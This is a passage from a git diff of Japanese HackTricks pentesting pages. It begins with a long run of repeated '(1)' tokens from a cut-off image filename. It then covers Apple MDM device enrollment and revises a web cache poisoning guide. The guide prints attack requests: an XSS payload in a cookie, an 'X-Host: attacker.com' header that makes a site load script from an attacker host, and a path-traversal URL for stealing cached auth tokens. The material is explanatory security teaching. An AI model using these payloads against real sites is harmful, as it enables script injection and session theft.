(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
+ (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
+
+### ステップ6: プロファイルのインストール
+
+- 取得後、**プロファイルはシステムに保存されます**
+- このステップは自動的に始まります(**セットアップアシスタント**にいる場合)
+- **`CPInstallActivationProfile`**によって駆動されます
+- XPC経由でmdmclientによって実装されます
+- LaunchDaemon(rootとして)またはLaunchAgent(ユーザーとして)、コンテキストに応じて
+- 構成プロファイルにはインストールするための複数のペイロードがあります
+- フレームワークはプロファイルをインストールするためのプラグインベースのアーキテクチャを持っています
+- 各ペイロードタイプはプラグインに関連付けられています
+- XPC(フレームワーク内)または従来のCocoa(ManagedClient.app内)である可能性があります
+- 例:
+- 証明書ペイロードはCertificateService.xpcを使用します
+
+通常、MDMベンダーによって提供される**アクティベーションプロファイル**には以下のペイロードが**含まれます**:
+
+- `com.apple.mdm`: デバイスをMDMに**登録**するため
+- `com.apple.security.scep`: デバイスに**クライアント証明書**を安全に提供するため。
+- `com.apple.security.pem`: デバイスのシステムキーチェーンに**信頼されたCA証明書**を**インストール**するため。
+- MDMペイロードのインストールは、文書内の**MDMチェックイン**に相当します
+- ペイロードは**主要なプロパティ**を含みます:
+- - MDMチェックインURL(**`CheckInURL`**)
+- MDMコマンドポーリングURL(**`ServerURL`**) + それをトリガーするAPNsトピック
+- MDMペイロードをインストールするために、**`CheckInURL`**にリクエストが送信されます
+- **`mdmclient`**で実装されています
+- MDMペイロードは他のペイロードに依存することがあります
+- 特定の証明書にリクエストをピン留めすることを許可します:
+- プロパティ:**`CheckInURLPinningCertificateUUIDs`**
+- プロパティ:**`ServerURLPinningCertificateUUIDs`**
+- PEMペイロードを介して配信されます
+- デバイスにアイデンティティ証明書を付与することを許可します:
+- プロパティ:IdentityCertificateUUID
+- SCEPペイロードを介して配信されます
+
+### **ステップ7: MDMコマンドのリスニング**
+
+- MDMチェックインが完了した後、ベンダーは**APNsを使用してプッシュ通知を発行**できます
+- 受信時、**`mdmclient`**によって処理されます
+- MDMコマンドをポーリングするために、リクエストがServerURLに送信されます
+- 以前にインストールされたMDMペイロードを利用します:
+- **`ServerURLPinningCertificateUUIDs`**によるリクエストのピン留め
+- **`IdentityCertificateUUID`**によるTLSクライアント証明書
+
+## 攻撃
+
+### 他の組織へのデバイスの登録
+
+前述のように、デバイスを組織に登録しようとするには、**その組織に属するシリアル番号のみが必要**です。デバイスが登録されると、いくつかの組織は新しいデバイスに機密データをインストールします:証明書、アプリケーション、WiFiパスワード、VPN設定など[こちら](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
+したがって、登録プロセスが適切に保護されていない場合、攻撃者にとって危険な入り口となる可能性があります:
+
+{{#ref}}
+enrolling-devices-in-other-organisations.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 4bfd2a49d..5859559f5 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -25,7 +25,7 @@
### 発見:キャッシュエラーコード
-レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると、**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。
+レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。
さらにオプションを見つけることができます:
@@ -47,16 +47,16 @@ cache-poisoning-to-dos.md
### 応答をキャッシュする
-悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**を決定したら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
+悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**が決まったら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
-応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
+応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持ちます。\
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
-もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
+もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーが付けられていない追加のヘッダーを**キャッシュキーの一部**として**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
-リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
+リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず**キーとして**使用される可能性**があり、**被害者はその同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
## 悪用の例
@@ -80,10 +80,10 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
-**[この書き込み](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下の単純なシナリオが説明されています:
+**[この解説](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下のシンプルなシナリオが説明されています:
- CDNは`/share/`以下のすべてをキャッシュします。
-- CDNは`%2F..%2F`をデコードまたは正規化しないため、**キャッシュされる他の機密情報にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- CDNは`%2F..%2F`をデコードまたは正規化しないため、**キャッシュされる他の機密情報にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`のように。
- ウェブサーバーは`%2F..%2F`をデコードおよび正規化し、`/api/auth/session`で応答します。これには**認証トークン**が含まれています。
### Using web cache poisoning to exploit cookie-handling vulnerabilities
@@ -94,7 +94,7 @@ GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
-注意:脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。
+注意:脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。
### デリミタ、正規化、ドットを使用して不一致を生成する
@@ -104,9 +104,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
cache-poisoning-via-url-discrepancies.md
{{#endref}}
-### パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難
+### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング
-[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
+[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
これは以下でもより詳しく説明されています:
@@ -125,7 +125,7 @@ X-Forwarded-Scheme: http
```
### 限定された `Vary` ヘッダーを利用した攻撃
-もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
+もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者のUser-Agentを抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
```html
GET / HTTP/1.1
Host: vulnerbale.net
@@ -134,7 +134,7 @@ X-Host: attacker.com
```
### Fat Get
-URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
+URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -201,7 +201,7 @@ User-Agent: Mo00ozilla/5.0